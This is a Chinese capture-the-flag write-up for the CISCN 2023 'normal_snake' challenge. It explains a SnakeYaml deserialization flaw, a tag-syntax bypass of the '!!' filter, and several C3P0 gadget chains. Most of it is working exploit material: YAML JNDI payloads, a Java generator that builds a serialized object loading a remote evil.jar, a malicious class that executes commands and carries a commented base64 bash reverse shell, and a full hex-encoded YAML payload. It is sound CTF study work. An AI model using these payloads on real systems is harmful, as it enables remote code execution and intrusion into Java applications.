CISCN2023-华北-normal_snake
就得审java。
路由分析
老规矩,先看看路由:

/read路由下传参data,pyload不能包含!!,然后用了yaml来load传入的参数。
稍作了解,这其实就是 SnakeYaml 反序列化漏洞,禁用了 yaml 的常用头 !!。
前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。
但用tag头可以绕过:微信公众平台 (qq.com)
!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
或者这样:
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]
而 SafeConstructorWithException 中过滤了常见的 payload 关键字,HEX 编码部分禁用了 BadAttributeValueExpException 和 HotSwappableTargetSource:
private void checkForExceptions() throws RuntimeException, RuntimeException { String upperCaseData = this.data.toUpperCase(); if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) { if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) { throw new RuntimeException("No way to pass!"); } } else { throw new RuntimeException("Unsafe data detected!"); } }
开打
看一下pom.xml:

给了c3p0依赖,估计是从这里入手。
在C3P0中有三种利用方式
http base
JNDI
HEX序列化字节加载器
在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。
抄一下:
C3P0 主要有以下利用链:
| 触发点 | 功效 | 适用性 |
|---|---|---|
| JndiRefForwardingDataSource#setLoginTimeout -- InitialContext#lookup | Jndi 注入 | fastjson/snakeyaml/jackson |
| WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject | Hex 解码后触发原生反序列化 | fastjson/snakeyaml/jackson |
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup | Jndi 注入 | Java原生反序列化 |
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader | URLCLassLoader 远程类加载 | Java原生反序列化 |
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- BeanFactory#getInstance | 不出网的命令注入 | Java原生反序列化不出网 |
在不考虑题目黑名单的情况下,这里浅浅了解了一下C3P0的几种打法:
JndiRefForwardingDataSource:Jndi 注入
没错,又是老常客了,JNDI注入。
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入
poc链:
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) -com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner() -com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference() -InitialContext#lookup()
而SnakeYaml 可以触发该 setter 方法:
String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";
WrapperConnectionPoolDataSource:Hex 二次反序列化
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";
为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子?
首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用:
WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类,而com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString在 snakeyaml 反序列化的时候会被调用:
public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException { String oldVal = this.userOverridesAsString; if ( ! eqOrBothNull( oldVal, userOverridesAsString ) ) vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString ); this.userOverridesAsString = userOverridesAsString; }
经过一系列调用栈:
java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue) -java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event) -java.beans.VetoableChangeListener#vetoableChange() -C3P0ImplUtils#parseUserOverridesAsString() -com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes) -com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)
C3P0ImplUtils#parseUserOverridesAsString方法:从形参处截取掉HASM_HEADER:HexAsciiSerializedMap字符串然后进行hex解码为字节数组:

下一个栈调用com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)处理字节数组调用原生反序列化:
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); return in.readObject(); }
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:jndi 注入
如下:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject() -IndirectlySerialized#getObject() -com.mchange.v2.naming.ReferenceIndirector#getObject() -InitialContext#lookup()
com.mchange.v2.naming.ReferenceIndirector#getObject() 内部可以触发 JNDI 注入:

看到lookup基本就有谱了。
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:远程类加载
利用链可参考ysoserial:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject() -IndirectlySerialized#getObject() -com.mchange.v2.naming.ReferenceIndirector#getObject() -com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env) -URLClassLoader
对于最后一步com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用,
因此可以直接在静态块里面放入恶意数据进行RCE:

对于前面一个jndi也有的PoolBackedDataSourceBase,这里一并讲了。
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject():

红框中的 ois.readObject() 获取的是 IndirectlySerialized 对象,IndirectlySerialized 是一个接口,其的唯一子类是 ReferenceSerialized,
但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类,该类不能进行初始化操作。
所以我们现在要看 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的。
从序列化角度来看:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject() 中,
如果序列化的类是不可序列化的话(NotSerializableException),将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)

ReferenceIndirector.indirectForm 方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized 对象并返回:
public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); } ReferenceSerialized( Reference reference, Name name, Name contextName, Hashtable env ) { this.reference = reference; this.name = name; this.contextName = contextName; this.env = env; }
所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中。
ConnectionPoolDataSource 接口有俩个子类,不过遗憾的是它们俩都可以被序列化:
WrapperConnectionPoolDataSource
JndiRefConnectionPoolDataSource
那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类,也关系到这个题的exp:
class C3P0DataSource implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { Reference reference = new Reference("evil","evil","http://vps:port/evil.jar"); return reference; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:BeanFactory不出网
JAVA反序列化之C3P0不出网利用 和 JNDI 高版本注入很像。
EXP
言归正传,回到怎么打题目本身。
题目入口是 yaml.load,还给了 C3P0 依赖,又过滤了 jndi 之类的关键字,所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化。
根据上面的 5 条 C3P0 利用链,选择 SnakeYaml 反序列化触发原生反序列化:
WrapperConnectionPoolDataSource#setUserOverridesAsString --> ObjectInputStream#readObject
然后再触发远程类加载或者jndi注入:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> InitialContext#lookup
or
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> com.mchange.v2.naming.ReferenceableUtils#referenceToObject --> URLClassLoader
借用原作者 URLClassLoader 远程加载类POC直接打了,偷个懒wwww
生成序列化内容:
public class Exp { private static String string = ""; private static byte[] data; public static void main(String[] args) throws Exception { //URLClassLoader C3P0DataSource c3P0DataSource = new C3P0DataSource(); Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Constructor declaredConstructor = clazz.getDeclaredConstructor(); declaredConstructor.setAccessible(true); PoolBackedDataSourceBase poolBackedDataSourceBase = (PoolBackedDataSourceBase)declaredConstructor.newInstance(); setFieldValue("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase",poolBackedDataSourceBase,"connectionPoolDataSource",c3P0DataSource); serialize(poolBackedDataSourceBase); //unserialize(); String hexAscii = ByteUtils.toHexAscii(data); System.out.println(hexAscii); String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}"; System.out.println(poc); Yaml yaml = new Yaml(); //yaml.load(poc); } public static void setFieldValue(String className,Object object, String field_name, Object field_value) throws Exception { Class clazz = Class.forName(className); Field declaredField = clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,field_value); } public static void serialize(Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); //string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); data = byteArrayOutputStream.toByteArray(); } public static void unserialize() throws Exception { //ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } } class C3P0DataSource implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { Reference reference = new Reference("evil","evil","http://127.0.0.1:5555/evil.jar"); //Reference reference = new Reference("Payloadxx","Payloadxx",""); return reference; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
恶意类打成jar包:
public class evil { private static final long serialVersionUID = 1593252632163539756L; static{ String string = "calc"; String[] commands = null; String command = ""; if (System.getProperty("os.name").toLowerCase().contains("win")) { commands = new String[]{"cmd", "/c", string}; } else { //command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMS4zOS4xMDUvNzc3NyAwPiYxCg==}|{base64,-d}|{bash,-i}"; } try { Runtime.getRuntime().exec(commands); //Runtime.getRuntime().exec(command); } catch (IOException e) { throw new RuntimeException(e); } } }
打 jar 包:
jar -cvf evil.jar .
然后再本地打开监听端口:
最后的 Poc:
!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: "HexAsciiSerializedMap:ACED000573720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00024C000D6964656E74697479546F6B656E71007E00024C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E00084C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00024C0014636C617373466163746F72794C6F636174696F6E71007E00024C0009636C6173734E616D6571007E00027870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A70707070707070707070787400085061796C6F616438740022687474703A2F2F3132372E302E302E313A353535352F7061796C6F6164382E6A617271007E001470737200256A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654D6170F1A5A8FE74F507420200014C00016D71007E00037870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000007708000000100000000078707077040000000378;"}
记得url全编码(还是抄一下wp的图):

我IDEA导jar包又报错emmmmm,修一修吧....
只能说熟悉了一下链子,有机会修好了打出来。